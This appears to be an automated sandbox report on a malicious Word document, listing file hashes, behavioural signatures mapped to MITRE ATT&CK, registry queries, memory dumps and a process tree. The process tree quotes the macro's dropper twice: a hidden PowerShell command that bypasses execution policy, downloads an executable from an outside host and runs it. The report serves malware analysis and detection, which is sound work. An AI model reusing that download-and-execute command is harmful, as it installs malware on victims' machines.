5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a

General

Target

5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a.doc
Size

69KB
MD5

2d9d347f7fa64d7b91025e2a12bc11a3
SHA1

29bbc0501fb019c55c57a280d89c18fb74af1777
SHA256

5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a
SHA512

e4d5eadfda1b58e9181fca515b90a7d92047c0026305b013d03a4066dfb5d3f0b3f1806c987624b19adfd4d776fb152a82fa85d176c8b78341bc132f7e3a3d72
SSDEEP

768:Z45GzFf7SckrjwoLMkk6hc1r8OLoTWnXeJ75yrWj89y/qBj1Ix:Z/Rf7S8oLVkicpLdTrWj1qBBq

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3328	4680	cmd.exe	WINWORD.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5100 powershell.exe
5100 powershell.exe

pid	process
5100	powershell.exe
5100	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4680 WINWORD.EXE
4680 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5100 powershell.exe
5100 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5100 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE

pid	process
4680	WINWORD.EXE
4680	WINWORD.EXE

pid	process
5100	powershell.exe
5100	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5100	powershell.exe

pid	process
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 4680 wrote to memory of 3328	4680	WINWORD.EXE	cmd.exe
PID 4680 wrote to memory of 3328	4680	WINWORD.EXE	cmd.exe
PID 3328 wrote to memory of 5100	3328	cmd.exe	powershell.exe
PID 3328 wrote to memory of 5100	3328	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c pOwERsHELl -Ex bYpasS -NOp -w hiDdEn inVOKE-WebRequEsT -uri 'https://alexanu.com/vnvnomcry.exe' -ouTfIlE '%ApPdAtA%\vnomt.exe' ; iNVOkE-ITeM '%APPDAtA%\vnomt.exe'
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOwERsHELl -Ex bYpasS -NOp -w hiDdEn inVOKE-WebRequEsT -uri 'https://alexanu.com/vnvnomcry.exe' -ouTfIlE 'C:\Users\Admin\AppData\Roaming\vnomt.exe' ; iNVOkE-ITeM 'C:\Users\Admin\AppData\Roaming\vnomt.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDCC72.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jcgjfvyl.avb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/4680-7-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-18-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-5-0x00007FFD9C970000-0x00007FFD9C980000-memory.dmp

Filesize
64KB

Download
memory/4680-9-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-10-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-13-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-12-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-14-0x00007FFD9A0E0000-0x00007FFD9A0F0000-memory.dmp

Filesize
64KB

Download
memory/4680-15-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-11-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-8-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-1-0x00007FFDDC98D000-0x00007FFDDC98E000-memory.dmp

Filesize
4KB

Download
memory/4680-6-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-4-0x00007FFD9C970000-0x00007FFD9C980000-memory.dmp

Filesize
64KB

Download
memory/4680-19-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-20-0x00007FFD9A0E0000-0x00007FFD9A0F0000-memory.dmp

Filesize
64KB

Download
memory/4680-17-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-16-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-56-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-2-0x00007FFD9C970000-0x00007FFD9C980000-memory.dmp

Filesize
64KB

Download
memory/4680-0-0x00007FFD9C970000-0x00007FFD9C980000-memory.dmp

Filesize
64KB

Download
memory/4680-3-0x00007FFD9C970000-0x00007FFD9C980000-memory.dmp

Filesize
64KB

Download
memory/4680-107-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-108-0x00007FFDDC98D000-0x00007FFDDC98E000-memory.dmp

Filesize
4KB

Download
memory/4680-109-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-110-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-116-0x00007FFDDC8F0000-0x00007FFDDCAE5000-memory.dmp

Filesize
2.0MB

Download
memory/5100-93-0x000001D28A960000-0x000001D28A982000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads